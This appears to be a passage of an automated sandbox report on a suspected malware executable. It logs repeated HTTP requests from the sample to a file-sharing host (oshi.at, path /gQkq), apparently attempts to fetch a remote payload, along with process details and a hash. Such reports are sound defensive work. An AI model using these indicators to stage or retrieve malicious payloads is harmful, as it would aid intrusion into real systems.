                                                                96192.168.2.950074194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:10 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:10 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:10 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:10 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                97192.168.2.950075194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:12 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:12 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:12 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:12 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                98192.168.2.950076194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:13 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:14 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:14 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:14 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                99192.168.2.950077194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:15 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:16 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:16 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:16 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                100192.168.2.950078194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:17 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:18 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:17 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:18 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                101192.168.2.950079194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:19 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:19 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:19 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:19 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                102192.168.2.950080194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:21 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:22 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:22 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:22 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                103192.168.2.950081194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:23 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:24 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:24 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:24 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                104192.168.2.950082194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:26 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:27 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:26 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:27 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                105192.168.2.950083194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:28 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:28 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:28 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:28 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                106192.168.2.950084194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:30 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:30 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:30 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:30 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                107192.168.2.950085194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:31 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:32 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:32 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:32 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                108192.168.2.950086194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:34 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:35 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:34 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:35 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                109192.168.2.950087194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:36 UTC61OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                Connection: Keep-Alive
                                                                2025-01-10 17:53:36 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:36 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:36 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Statistics

                                                                CPU Usage

                                                                Click to jump to process

                                                                Memory Usage

                                                                Click to jump to process

                                                                High Level Behavior Distribution

                                                                Click to dive into process behavior distribution

                                                                System Behavior

                                                                General

                                                                Target ID:0
                                                                Start time:12:49:28
                                                                Start date:10/01/2025
                                                                Path:C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                Wow64 process (32bit):true
                                                                Commandline:"C:\Users\user\Desktop\MWP0FO5rAF.exe"
                                                                Imagebase:0xdb0000
                                                                File size:1'072'096 bytes
                                                                MD5 hash:79E059E518B08ADBF428180B3E05495E
                                                                Has elevated privileges:true
                                                                Has administrator privileges:true
                                                                Programmed in:C, C++ or other language
                                                                Reputation:low
                                                                Has exited:false

                                                                Disassembly

                                                                Reset < >

                                                                  Executed Functions

                                                                  Function 014D0860 Relevance: .0, Instructions: 30COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.3796055165.00000000014D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014D0000, based on PE: false
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_14d0000_MWP0FO5rAF.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: 33f1abda2354155dcf9d9d87fbdc3941c50ffdbf1d412fc422ee5bec4cf6b0ee
                                                                  • Instruction ID: 8a52aa59d8c064a1782b3a55281290ebb00a3590018e037d123f79846895adbd
